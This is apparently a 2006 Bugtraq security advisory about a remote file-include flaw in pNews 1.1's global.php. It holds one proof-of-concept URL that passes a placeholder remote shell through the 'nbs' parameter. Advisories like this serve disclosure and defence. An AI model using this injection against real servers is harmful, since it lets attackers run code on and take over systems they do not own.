PNews Global.PHP Remote File Include Vulnerability

Bugtraq ID:	20140
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 21 2006 12:00AM
Updated:	Sep 21 2006 11:06PM
Credit:	CvIr.System is credited with the discovery of this vulnerability.
Vulnerable:	pNews Systems pNews 1.1
Not Vulnerable:

PNews Global.PHP Remote File Include Vulnerability

pNews is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

This may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.1.0 is vulnerable; other versions may also be affected.

PNews Global.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/includes/global.php?nbs=[shell]?

PNews Global.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PNews Global.PHP Remote File Include Vulnerability

References:

• Vendor Homepage (pNews Systems)
  
• PNews v1.1.0 (nbs) Remote File Inclusion (CvIr.System)